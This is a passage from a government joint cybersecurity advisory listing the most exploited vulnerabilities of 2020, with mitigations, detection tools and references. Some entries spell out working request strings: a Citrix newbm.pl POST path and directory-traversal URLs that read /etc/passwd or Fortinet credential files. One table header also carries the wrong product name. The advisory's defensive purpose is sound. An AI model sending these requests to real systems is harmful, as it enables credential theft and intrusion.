Zealand-Singapore-UK-U.S. Joint Cybersecurity Advisory: Exploitation of Accellion File Transfer Appliance for technical details and mitigations.\n * **VMware:** CVE-2021-21985 \n * See CISA\u2019s Current Activity: Unpatched VMware vCenter Software for more information and guidance. \n * **Fortinet:** CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591 \n * See the CISA-FBI Joint Cybersecurity Advisory: APT Actors Exploit Vulnerabilities to Gain Initial Access for Future Attacks for more details and mitigations. \n\n### Mitigations and Indicators of Compromise\n\nOne of the most effective best practices to mitigate many vulnerabilities is to update software versions once patches are available and as soon as is practicable. If this is not possible, consider applying temporary workarounds or other mitigations, if provided by the vendor. If an organization is unable to update all software shortly after a patch is released, prioritize implementing patches for CVEs that are already known to be exploited or that would be accessible to the largest number of potential attackers (such as internet-facing systems). This advisory highlights vulnerabilities that should be considered as part of the prioritization process. To further assist remediation, automatic software updates should be enabled whenever possible. \n\nFocusing scarce cyber defense resources on patching those vulnerabilities that cyber actors most often use offers the potential of bolstering network security while impeding our adversaries\u2019 operations. For example, nation-state APTs in 2020 extensively relied on a single RCE vulnerability discovered in the Atlassian Crow, a centralized identity management and application (CVE-2019-11580) in its reported operations. A concerted focus on patching this vulnerability could have a relative broad impact by forcing the actors to find alternatives, which may not have the same broad applicability to their target set. \n\nAdditionally, attackers commonly exploit weak authentication processes, particularly in external-facing devices. Organizations should require multi-factor authentication to remotely access networks from external sources, especially for administrator or privileged accounts.\n\nTables 2\u201314 provide more details about, and specific mitigations for, each of the top exploited CVEs in 2020. \n\n**Note:** The lists of associated malware corresponding to each CVE below are not meant to be exhaustive but intended to identify a malware family commonly associated with exploiting the CVE. \n\n\n_Table 2: CVE-2019-19781 Vulnerability Details_\n\n**Citrix Netscaler Directory Traversal (CVE-2019-19781)** \n \n--- \n \n_**Vulnerability Description**_ \nCitrix Netscaler Application Delivery Control (ADC) is vulnerable to RCE and full system compromise due to poor access controls, thus allowing directory traversal. \n\n| \n\n_**CVSS 3.02**_\n\nCritical \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_\n\nThe lack of adequate access controls allows an attacker to enumerate system directories for vulnerable code (directory traversal). In this instance, Citrix ADC maintains a vulnerable Perl script (`newbm.pl`) that, when accessed via `HTTP POST` request (`POST https://$TARGET/vpn/../vpn/portal/scripts/newbm.pl`), allows local operating system (OS) commands to execute. Attackers can use this functionality to upload/execute command and control (C2) software (webshell or reverse-shell executable) using embedded commands (e.g.,` curl`, `wget`, `Invoke-WebRequest`) and gain unauthorized access to the OS. \n\n_Multiple malware campaigns, including NOTROBIN, have taken advantage of this vulnerability._\n\n| \n\n**_Fix_**\n\n[Patch Available](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>) \n \n**_Recommended Mitigations_**\n\n * Implement the appropriate refresh build according to the vulnerability details outlined by the vendor: Citrix: Mitigation Steps for CVE-2019-19781\n * If possible, only allow the VPN to communicate with known Internet Protocol (IP) addresses (allow-list). \n \n_**Detection Methods**_\n\n * CISA has developed a free detection tool for this vulnerability: [cisagov/check-cve-2019-19781](<https://github.com/cisagov/check-cve-2019-19781>): Test a host for susceptibility to CVE-2019-19781.\n * Nmap developed a script that can be used with the port scanning engine: [CVE-2019-19781 - Citrix ADC Path Traversal #1893](<https://github.com/nmap/nmap/pull/1893/files>).\n * Citrix also developed a free tool for detecting compromises of Citrix ADC Appliances related to CVE-2019-19781: [Citrix / CVE-2019-19781: IOC Scanner for CVE-2019-19781](<https://github.com/citrix/ioc-scanner-CVE-2019-19781>).\n * CVE-2019-19781 is commonly exploited to install web shell malware. The National Security Agency (NSA) provides guidance on detecting and preventing web shell malware at <https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF> and signatures at <https://github.com/nsacyber/Mitigating-Web-Shells>. \n \n**_Vulnerable Technologies and Versions_** \nCitrix ADC and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0 \n \n_**References and Additional Guidance**_\n\n * [Citrix Blog: Citrix releases final fixes for CVE-2019-19781](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>)\n * [National Institute for Standards and Technology (NIST) National Vulnerability Database (NVD): Vulnerability Detail CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)\n * [Tripwire Vulnerability and Exposure Research Team (VERT) Article: Citrix NetScaler CVE-2019-19781: What You Need to Know](<https://www.tripwire.com/state-of-security/vert/citrix-netscaler-cve-2019-19781-what-you-need-to-know/>)\n * [National Security Agency Cybersecurity Advisory: Critical Vulnerability In Citrix Application Delivery Controller (ADC) And Citrix Gateway](<https://media.defense.gov/2020/Jan/10/2002233132/-1/-1/0/CSA FOR CITRIXADCANDCITRIXGATEWAY_20200109.PDF>)\n * [CISA Alert: Detecting Citrix CVE-2019-19781](<https://us-cert.cisa.gov/ncas/alerts/aa20-031a>)\n * [NCSC Alert: Actors Exploiting Citrix Products Vulnerability](<https://www.ncsc.gov.uk/news/citrix-alert>)\n * [CISA-NCSC Joint Cybersecurity Advisory: COVID-19 Exploited by Malicious Cyber Actors](<https://us-cert.cisa.gov/ncas/alerts/aa20-099a>)\n * [CISA Alert: Critical Vulnerability in Citrix Application Delivery Controller, Gateway, and SD-WAN WANOP](<https://us-cert.cisa.gov/ncas/alerts/aa20-020a>)\n * [FBI-CISA Joint Cybersecurity Advisory: Russian Foreign Intelligence Service (SVR) Cyber Operations: Trends and Best Practices for Network Defenders ](<https://www.ic3.gov/Media/News/2021/210426.pdf>)\n * [DoJ: Seven International Cyber Defendants, Including \u201cApt41\u201d Actors, Charged in Connection with Computer Intrusion Campaigns Against More Than 100 Victims Globally](<https://www.justice.gov/opa/pr/seven-international-cyber-defendants-including-apt41-actors-charged-connection-computer>)\n * [FBI News: Russian Foreign Intelligence Service Exploiting Five Publicly Known Vulnerabilities to Compromise U.S. and Allied Networks](<https://www.fbi.gov/news/pressrel/press-releases/russian-foreign-intelligence-service-exploiting-five-publicly-known-vulnerabilities-to-compromise-us-and-allied-networks>)\n * [FBI FLASH: Indictment of China-Based Cyber Actors Associated with APT 41 for Intrusion Activities](<https://www.ic3.gov/Media/News/2020/201103-2.pdf>)\n * [GitHub: nsacyber / Mitigating Web Shells](<https://github.com/nsacyber/Mitigating-Web-Shells>) \n \n_Table 3: CVE 2019-11510 Vulnerability Details_\n\nPulse Secure Connect VPN (CVE 2019-11510) \n--- \n \n_**Vulnerability Description**_ \nPulse Secure Connect is vulnerable to unauthenticated arbitrary file disclosure. An attacker can exploit this vulnerability to gain access to administrative credentials. \n\n| \n\n**CVSS 3.0**\n\nCritical \n \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_ \nImproper access controls allow a directory traversal that an attacker can exploit to read the contents of system files. For example, the attacker could use a string such as `https://sslvpn.insecure-org.com/dana-na/../dana/html5/acc/guacmole/../../../../../../etc/passwd?/dana/html5/guacamole/` to obtain the local password file from the system. The attacker can also obtain admin session data and replay session tokens in the browser. Once compromised, an attacker can run arbitrary scripts on any host that connects to the VPN. This could lead to anyone connecting to the VPN as a potential target to compromise. \n\n_Multiple malware campaigns have taken advantage of this vulnerability, most notably REvil/Sodinokibi ransomware._\n\n| \n\n_**Fix**_\n\n[Patch Available](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>) \n \n \n_**Recommended Mitigations**_\n\n * Upgrade to the latest Pulse Secure VPN.\n * Stay alert to any scheduled tasks or unknown files/executables. \n * Create detection/protection mechanisms that respond on directory traversal (`/../../../`) attempts to read local system files. \n**_Detection Methods_**\n\n * CISA developed a tool to help determine if IOCs exist in the log files of a Pulse Secure VPN Appliance for CVE-2019-11510: cisagov/check-your-pulse.\n * Nmap developed a script that can be used with the port scanning engine: http-vuln-cve2019-11510.nse #1708. \n \n_**Vulnerable Technologies and Versions**_ \nPulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4 are vulnerable. \n \n_**References**_\n\n * [NIST NVD Vulnerability Detail: CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)\n * [CISA Alert: Continued Threat Actor Exploitation Post Pulse Secure VPN Patching](<https://us-cert.cisa.gov/ncas/alerts/aa20-107a>)\n * [Pulse Security Advisory: SA44101 \u2013 2019-04: Out-of-Cycle Advisory: Multiple vulnerabilities resolved in Pulse Connect Secure / Pulse Policy Secure 9.0RX](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/>)\n * [GitHub: cisagov / Check Your Pulse](<https://github.com/cisagov/check-your-pulse>)\n * [CISA Analysis Report: Federal Agency Compromised by Malicious Cyber Actor](<https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a>)\n * [CISA Alert: Exploitation of Pulse Connect Secure Vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa21-110a>)\n * [CISA-FBI Joint Cybersecurity Advisory: Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets](<https://us-cert.cisa.gov/ncas/alerts/aa20-296a>)\n * [NCSC Alert: Vulnerabilities Exploited in VPN Products Used Worldwide](<https://www.ncsc.gov.uk/news/alert-vpn-vulnerabilities>)\n * [DoJ Press Release: Seven International Cyber Defendants, Including \u201cApt41\u201d Actors, Charged in Connection with Computer Intrusion Campaigns Against More Than 100 Victims Globally](<https://www.justice.gov/opa/pr/seven-international-cyber-defendants-including-apt41-actors-charged-connection-computer>)\n * [FBI News: Russian Foreign Intelligence Service Exploiting Five Publicly Known Vulnerabilities to Compromise U.S. and Allied Networks](<https://www.fbi.gov/news/pressrel/press-releases/russian-foreign-intelligence-service-exploiting-five-publicly-known-vulnerabilities-to-compromise-us-and-allied-networks>)\n * [FBI FLASH: Indicators Associated with Netwalker Ransomware](<https://www.ic3.gov/Media/News/2020/200929-2.pdf>)\n * [FBI FLASH: Indictment of China-Based Cyber Actors Associated with APT 41 for Intrusion Activities](<https://www.ic3.gov/Media/News/2020/201103-2.pdf>) \n \n_Table 4: CVE 2018-13379 Vulnerability Details_\n\n**Fortinet FortioOS Secure Socket Layer VPN (CVE 2018-13379)** \n--- \n \n**_Vulnerability Description_** \nFortinet Secure Sockets Layer (SSL) VPN is vulnerable to unauthenticated directory traversal, which allows attackers to gain access to the `sslvpn_websession` file. An attacker is then able to exact clear-text usernames and passwords. \n\n| \n\n**_CVSS 3.0_**\n\nCritical \n \n \n**_Vulnerability Discussion, IOCs, and Malware Campaigns_** \nWeakness in user access controls and web application directory structure allows attackers to read system files without authentication. Attackers are able to perform a `HTTP GET request http://$SSLVPNTARGET?lang=/../../../..//////////dev/cmdb/sslvpn_websession`. This results the server responding with unprintable/hex characters alongside cleartext credential information. \n\n_Multiple malware campaigns have taken advantage of this vulnerability. The most notable being Cring ransomware (also known as Crypt3, Ghost, Phantom, and Vjszy1lo). _\n\n| \n\n**_Fix_**\n\n[Patch Available](<https://www.fortiguard.com/psirt/FG-IR-18-384>) \n \n \n**_Recommended Mitigations_**\n\n * Upgrade to the latest Fortinet SSL VPN. \n * Monitor for alerts to any unscheduled tasks or unknown files/executables. \n * Create detection/protection mechanisms that respond on directory traversal (`/../../../`) attempts to read the `sslvpn_websessions` file. \n**_Detection Methods_**\n\n * Nmap developed a script that can be used with the port scanning engine: Fortinet SSL VPN CVE-2018-13379 vuln scanner #1709. \n \n**_Vulnerable Technologies and Versions_** \nFortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7, and 5.4.6 to 5.4.12 are vulnerable. \n \n_**References**_\n\n * [FortiOS System File Leak Through SSL VPN via Specialty Crafted HTTP Resource Requests](<https://www.fortiguard.com/psirt/FG-IR-18-384>)\n * [Github: Fortinet Ssl Vpn Cve-2018-13379 Vuln Scanner #1709](<https://github.com/nmap/nmap/pull/1709>)\n * [Fortinet Blog: Update Regarding CVE-2018-13379](<https://www.fortinet.com/blog/psirt-blogs/update-regarding-cve-2018-13379>)\n * [NIST NVD Vulnerability Detail: CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>)\n * [FBI-CISA Joint Cybersecurity Advisory: Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets](<https://us-cert.cisa.gov/ncas/alerts/aa20-296a>)\n * [FBI-CISA Joint Cybersecurity Advisory: APT Actors Exploit Vulnerabilities to Gain Initial Access for Future Attacks](<https://www.ic3.gov/Media/News/2021/210402.pdf>)\n * [NCSC Alert: Vulnerabilities Exploited in VPN Products Used Worldwide](<https://www.ncsc.gov.uk/news/alert-vpn-vulnerabilities>)\n * [FBI News: Russian Foreign Intelligence Service Exploiting Five Publicly Known Vulnerabilities to Compromise U.S. and Allied Networks](<https://www.fbi.gov/news/pressrel/press-releases/russian-foreign-intelligence-service-exploiting-five-publicly-known-vulnerabilities-to-compromise-us-and-allied-networks>)\n * [FBI FLASH: APT Actors Exploiting Fortinet Vulnerabilities to Gain Access for Malicious Activity](<https://www.ic3.gov/Media/News/2021/210527.pdf>) \n \n_Table 5: CVE-2020-5902 Vulnerability Details_\n\nF5 Big IP Traffic Management User Interface (CVE-2020-5902) \n--- \n \n_**Vulnerability Description**_ \nThe Traffic Management User Interface (TMUI), also referred to as the Configuration Utility, has an RCE vulnerability in undisclosed pages. \n\n| \n\n_**CVSS 3.0**_ \nCritical \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_ \nThis vulnerability allows for unauthenticated attackers, or authenticated users, with network access to the Configuration Utility (through the BIG-IP management port and/or self IPs) to execute arbitrary system commands, create or delete files, disable services, and execute arbitrary Java code. This vulnerability may result in complete system compromise. The BIG-IP system in Appliance mode is also vulnerable. This issue is not exposed on the data plane; only the control plane is affected. \n\n| _**Fix**_ \n[Upgrade to Secure Versions Available](<https://support.f5.com/csp/article/K52145254>) \n \n \n_**Recommended Mitigations**_ \nDownload and install a fixed software version of the software from a vendor approved resource. If it is not possible to update quickly, restrict access via the following actions.\n\n * Address unauthenticated and authenticated attackers on self IPs by blocking all access.\n * Address unauthenticated attackers on management interface by restricting access. \n**_Detection Methods_**\n\n * F5 developed a free detection tool for this vulnerability: [f5devcentral / cve-2020-5902-ioc-bigip-checker](<https://github.com/f5devcentral/cve-2020-5902-ioc-bigip-checker/>). \n * Manually check your software version to see if it is susceptible to this vulnerability. \n \n_**Vulnerable Technologies and Versions**_ \nBIG-IP (LTM, AAM, Advanced WAF, AFM, Analytics, APM, ASM, DDHD, DNS, FPS, GTM, Link Controller, PEM, SSLO, CGNAT) 15.1.0, 15.0.0-15.0.1, 14.1.0-14.1.2, 13.1.0-13.1.3, 12.1.0-12.1.5, and 11.6.1-11.6.5 are vulnerable. \n \n**_References_**\n\n * [F5 Article: TMUI RCE Vulnerability CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>)\n * [NIST NVD Vulnerability Detail: CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>)\n * [CISA Alert: Threat Actor Exploitation of F5 BIG-IP CVE-2020-5902](<https://us-cert.cisa.gov/ncas/alerts/aa20-206a>)\n * [MITRE CVE Record: CVE-2020-5902](<https://vulners.com/cve/CVE-2020-5902>) \n \n_Table 6: CVE-2020-15505 Vulnerability Details_\n\nMobileIron Core & Connector (CVE-2020-15505) \n--- \n \n_**Vulnerability Description**_\n\nMobileIron Core & Connector, Sentry, and Monitoring and Reporting Database (RDB) software are vulnerable to RCE via unspecified vectors.\n\n| \n\n_**CVSS 3.0**_\n\nCritical \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_\n\nCVE-2020-15505 is an RCE vulnerability in MobileIron Core & Connector versions 10.3 and earlier. This vulnerability allows an external attacker, with no privileges, to execute code of their choice on the vulnerable system. As mobile device management (MDM) systems are critical to configuration management for external devices, they are usually highly permissioned and make a valuable target for threat actors.\n\nMultiple APTs have been observed exploiting this vulnerability to gain unauthorized access.\n\n| \n\n**_Fix_**\n\n[Patch Available](<https://www.ivanti.com/blog/mobileiron-security-updates-available>) \n \n_**Recommended Mitigations**_\n\n * Download and install a fixed software version of the software from a vendor approved resource. \n \n_**Detection Methods**_\n\n * None. Manually check your software version to see if it is susceptible to this vulnerability. \n \n_**Vulnerable Technologies and Versions**_\n\nMobileIron Core & Connector versions 10.3.0.3 and earlier, 10.4.0.0, 10.4.0.1, 10.4.0.2, 10.4.0.3, 10.5.1.0, 10.5.2.0, and 10.6.0.0; Sentry versions 9.7.2 and earlier and 9.8.0; and Monitor and Reporting Database (RDB) version 2.0.0.1 and earlier are vulnerable. \n \n_**References**_\n\n * [Ivanti Blog: MobileIron Security Updates Available](<https://www.ivanti.com/blog/mobileiron-security-updates-available>)\n * [CISA-FBI Joint Cybersecurity Advisory: APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations](<https://us-cert.cisa.gov/ncas/alerts/aa20-283a>)\n * [NIST NVD Vulnerability Detail: CVE-2020-15505](<https://nvd.nist.gov/vuln/detail/CVE-2020-15505>)\n * [MITRE CVE Record: CVE-2020-15505](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-15505>)\n * [NSA Cybersecurity Advisory: Chinese State-Sponsored Actors Exploit Publicly Known Vulnerabilities](<https://media.defense.gov/2020/Oct/20/2002519884/-1/-1/0/CSA_CHINESE_EXPLOIT_VULNERABILITIES_UOO179811.PDF>) \n \n_Table 7: CVE-2020-0688 Vulnerability Details_\n\nMicrosoft Exchange Memory Corruption (CVE-2020-0688) \n--- \n \n_**Vulnerability Description**_\n\nAn RCE vulnerability exists in Microsoft Exchange software when the software fails to properly handle objects in memory.\n\n| \n\n_**CVSS 3.0**_\n\nHigh \n \nVulnerability Discussion, IOCs, and Malware Campaigns \nCVE-2020-0688 exists in the Microsoft Exchange Server when the server fails to properly create unique keys at install time. An authenticated user with knowledge of the validation key and a mailbox may pass arbitrary objects for deserialization by the web application that runs as `SYSTEM`. The security update addresses the vulnerability by correcting how Microsoft Exchange creates the keys during install. \n\nA nation-state _APT actor has been observed exploiting this vulnerability to conduct widespread, distributed, and anonymized brute force access attempts against hundreds of government and private sector targets worldwide._\n\n| \n\n_**Fix**_\n\n[Patch Available](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0688>) \n \n_**Recommended Mitigations**_\n\n * Download and install a fixed software version of the software from a vendor approved resource. \n \n_**Detection Methods**_\n\n * Manually check your software version to see if it is susceptible to this vulnerability.\n * CVE-2020-0688 is commonly exploited to install web shell malware. NSA provides guidance on detecting and preventing web shell malware at [https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF](<https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF >) and signatures at <https://github.com/nsacyber/Mitigating-Web-Shells>. \n \n_**Vulnerable Technologies and Versions**_\n\nMicrosoft Exchange Server 2019 Cumulative Update 3 and 4, 2016 Cumulative Update 14 and 15, 2013 Cumulative Update 23, and 2010 Service Pack 3 Update Rollup 30 are vulnerable. \n \n_**References**_\n\n * [Microsoft Security Update Guide: CVE-2020-0688](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0688>)\n * [NIST NVD Vulnerability Detail: CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>)\n * [Microsoft Security Update: Description of the security update for Microsoft Exchange Server 2019 and 2016: February 11, 2020](<https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-and-2016-february-11-2020-94ac1ebb-fb8a-b536-9240-a1cab0fd1c9f>)\n * [CISA-FBI Joint Cybersecurity Advisory: Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets](<https://us-cert.cisa.gov/ncas/alerts/aa20-296a>)\n * [ACSC Alert: Active Exploitation of Vulnerability in Microsoft Internet Information Services](<https://www.cyber.gov.au/acsc/view-all-content/alerts/active-exploitation-vulnerability-microsoft-internet-information-services>)\n * [NSA-CISA-FBI-NCSC Cybersecurity Advisory: Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments](<https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/0/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF>) \n \n_Table 8: CVE-2019-3396 Vulnerability Details_\n\nMicrosoft Office Memory Corruption (CVE 2017-11882) \n--- \n \n_**Vulnerability Description**_\n\nAtlassian Confluence Server and Data Center Widget Connector is vulnerable to a server-side template injection attack.\n\n| \n\n_**CVSS**_\n\nCritical \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_\n\nConfluence Server and Data Center versions released before June 18, 2018, are vulnerable to this issue. A remote attacker is able to exploit a server-side request forgery (SSRF) vulnerability in the WebDAV plugin to send arbitrary HTTP and WebDAV requests from a Confluence Server or Data Center instance. A successful attack is able to exploit this issue to achieve server-side template injection, path traversal, and RCE on vulnerable systems.\n\n_Multiple malware campaigns have taken advantage of this vulnerability; the most notable being GandCrab ransomware._\n\n| \n\n_**Fix**_\n\n[Patch Available](<Patch Available>) \n \n_**Recommended Mitigations**_\n\n * Download and install a fixed software version of the software from a vendor-approved resource. \n \n_**Detection Methods**_\n\n * Manually check the software version to see if it is susceptible to this vulnerability.\n\n * CVE-2019-3396 is commonly exploited to install web shell malware. NSA provides guidance on detecting and preventing web shell malware at <https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF> and signatures at [https://github.com/nsacyber/Mitigating-Web-Shells.](<https://github.com/nsacyber/Mitigating-Web-Shells>) \n \n_**Vulnerable Technologies and Versions**_\n\nAll versions of Confluence Server and Confluence Data Center before version 6.6.12, from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x) are vulnerable. \n \n_**References**_\n\n * [NIST NVD Vulnerability Detail: CVE-2019-3396](<https://nvd.nist.gov/vuln/detail/CVE-2019-3396>)\n * [MITRE CVE Record: CVE-2019-3396](<https://vulners.com/cve/CVE-2019-3396>)\n * [Confluence Security Advisory: Confluence Data Center and Server 7.12](<https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html>)\n * [Confluence Server and Data Center CONFSERVER-57974: Remote Code Execution via Widget Connector Macro - CVE-2019-3396](<https://jira.atlassian.com/browse/CONFSERVER-57974>)\n * [TrendMicro Research Article: CVE-2019-3396: Exploiting the Confluence Vulnerability](<https://www.trendmicro.com/en_us/research/19/e/cve-2019-3396-redux-confluence-vulnerability-exploited-to-deliver-cryptocurrency-miner-with-rootkit.html>) \n \n_Table 9: CVE 2017-11882 Vulnerability Details_\n\nMicrosoft Office Memory Corruption (CVE 2017-11882) \n--- \n \n_**Vulnerability Description**_\n\nMicrosoft Office is prone to a memory corruption vulnerability allowing an attacker to run arbitrary code, in the context of the current user, by failing to properly handle objects in memory. It is also known as the \"Microsoft Office Memory Corruption Vulnerability.\" \n\nCyber actors continued to exploit this four-year-old vulnerability in Microsoft Office that the U.S. Government publicly assessed last year was the most frequently targeted. Cyber actors most likely continue to exploit this vulnerability because Microsoft Office use is ubiquitous worldwide, the vulnerability is ideal for phasing campaigns, and it enables RCE on vulnerable systems.\n\n| \n\n_**CVSS 3.0**_\n\nHigh \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_\n\nMicrosoft Equation Editor, a component of Microsoft Office, contains a stack buffer overflow vulnerability that enables RCE on a vulnerable system. The component was compiled on November 9, 2000. Without any further recompilation, it was used in all currently supported versions of Microsoft Office. Microsoft Equation Editor is an out-of-process COM server that is hosted by `eqnedt32.exe`, meaning it runs as its own process and can accept commands from other processes.\n\nData execution prevention (DEP) and address space layout randomization (ASLR) should protect against such attacks. However, because of the manner in which `eqnedt32.exe` was linked, it will not use these features, subsequently allowing code execution. Being an out-of-process COM server, protections specific to Microsoft Office such as EMET and Windows Defender Exploit Guard are not applicable to `eqnedt32.exe`, unless applied system-wide. This provides the attacker with an avenue to lure targets into opening specially crafted documents, resulting in the ability to execute an embedded attacker commands.\n\n_Multiple cyber espionage campaigns have taken advantage of this vulnerability. CISA has noted CVE-2017-11882 being exploited to [deliver LokiBot malware](<https://us-cert.cisa.gov/ncas/alerts/aa20-266a>)._\n\n| \n\n**_Fix_**\n\n[Patch Available](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2017-11882>) \n \n_**Recommended Mitigations**_\n\n * To remediate this issue, administrators should deploy Microsoft\u2019s patch for this vulnerability: <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882>.\n * Those who cannot deploy the patch should consider disabling the Equation Editor as discussed in [Microsoft Knowledge Base Article 4055535](<https://support.microsoft.com/en-us/topic/how-to-disable-equation-editor-3-0-7e000f58-cbf4-e805-b4b1-fde0243c9a92>). \n \n_**Detection Methods**_\n\n * Microsoft Defender Antivirus, Windows Defender, Microsoft Security Essentials, and the Microsoft Safety Scanner will all detect and patch this vulnerability. \n \n_**Vulnerable Technologies and Versions**_\n\n * Microsoft Office 2007 Service Pack 3, Microsoft Office 2010 Service Pack 2, Microsoft Office 2013 Service Pack 1, and Microsoft Office 2016 are vulnerable. \n \n_**References**_\n\n * [NIST NVD Vulnerability Detail: CVE-2017-11882](<https://nvd.nist.gov/vuln/detail/CVE-2017-11882>)\n * [CISA Malware Analysis Report: MAR-10211350-1.v2](<https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133e>)\n * [Palo Alto Networks Analysis: Analysis of CVE-2017-11882 Exploit in the Wild](<https://unit42.paloaltonetworks.com/unit42-analysis-of-cve-2017-11882-exploit-in-the-wild/>)\n * [CERT Coordination Center Vulnerability Note: Microsoft Office Equation Editor stack buffer overflow](<https://www.kb.cert.org/vuls/id/421280>) \n \n_Table 10: CVE 2019-11580 Vulnerability Details_\n\nAtlassian Crowd and Crowd Data Center Remote Code Execution (CVE 2019-11580) \n--- \n \n_**Vulnerability Description**_\n\nAtlassian Crowd and Crowd Data Center had the `pdkinstall` development plugin incorrectly enabled in release builds.\n\n| \n\n_**CVSS 3.0**_\n\nCritical \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_\n\nAttackers who can send unauthenticated or authenticated requests to a Crowd or Crowd Data Center instance can exploit this vulnerability to install arbitrary plugins, which permits RCE on systems running a vulnerable version of Crowd or Crowd Data Center.\n\n| \n\n**_Fix_**\n\n[Patch Available](<https://confluence.atlassian.com/crowd/crowd-security-advisory-2019-05-22-970260700.html>) \n \n_**Recommended Mitigations**_\n\n * Atlassian recommends customers running a version of Crowd below version 3.3.0 to upgrade to version 3.2.8. For customers running a version above or equal to 3.3.0, Atlassian recommends upgrading to the latest version.\n * Released Crowd and Crowd Data Center version 3.4.4 contains a fix for this issue and is available at <https://www.atlassian.com/software/crowd/download>.\n * Released Crowd and Crowd Data Center versions 3.0.5, 3.1.6, 3.2.8, and 3.3.5 contain a fix for this issue and are available at <https://www.atlassian.com/software/crowd/download-archive>. \n \n_**Detection Methods**_\n\n * Manually check your software version to see if it is susceptible to this vulnerability.\n * CVE-2019-11580 is commonly exploited to install web shell malware. NSA provides guidance on detecting and preventing web shell malware at [https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PD](<https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF>)F and signatures at <https://github.com/nsacyber/Mitigating-Web-Shells> \n \n_**Vulnerable Technologies and Versions**_\n\nAll versions of Crowd from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x), from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x), from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x), from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x), and from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x) are affected by this vulnerability. \n \n**_References_**\n\n * [NIST NVD Vulnerability Detail: CVE-2019-11580](<https://nvd.nist.gov/vuln/detail/CVE-2019-11580>)\n * [Crowd CWD-5388: Crowd \u2013 pdkinstall Development Plugin Incorrectly Enabled \u2013 CVE-2019-11580](<https://jira.atlassian.com/browse/CWD-5388>)\n * [Crowd Security Advisory: Crowd Data Center and Server 4.3](<https://confluence.atlassian.com/crowd/crowd-security-advisory-2019-05-22-970260700.html>) \n \n_Table 11: CVE 2018-7600 Vulnerability Details_\n\nDrupal Core Multiple Remote Code Execution (CVE 2018-7600) \n--- \n \n_**Vulnerability Description**_\n\nDrupal versions before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allow remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations.\n\n| \n\n_**CVSS 3.0**_\n\nCritical \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_\n\nAn RCE vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely compromised. Failed exploit attempts may result in a denial-of-service condition. A remote user can send specially crafted data to trigger a flaw in the processing of renderable arrays in the Form Application Programming Interface, or API, and cause the target system to render the user-supplied data and execute arbitrary code on the target system.\n\n_Malware campaigns include the Muhstik botnet and XMRig Monero Cryptocurrency mining._\n\n| \n\n**_Fix_**\n\n[Patch Available](<https://www.drupal.org/sa-core-2018-002>) \n \n_**Recommended Mitigations**_\n\n * Upgrade to the most recent version of Drupal 7 or 8 core. If running 7.x, 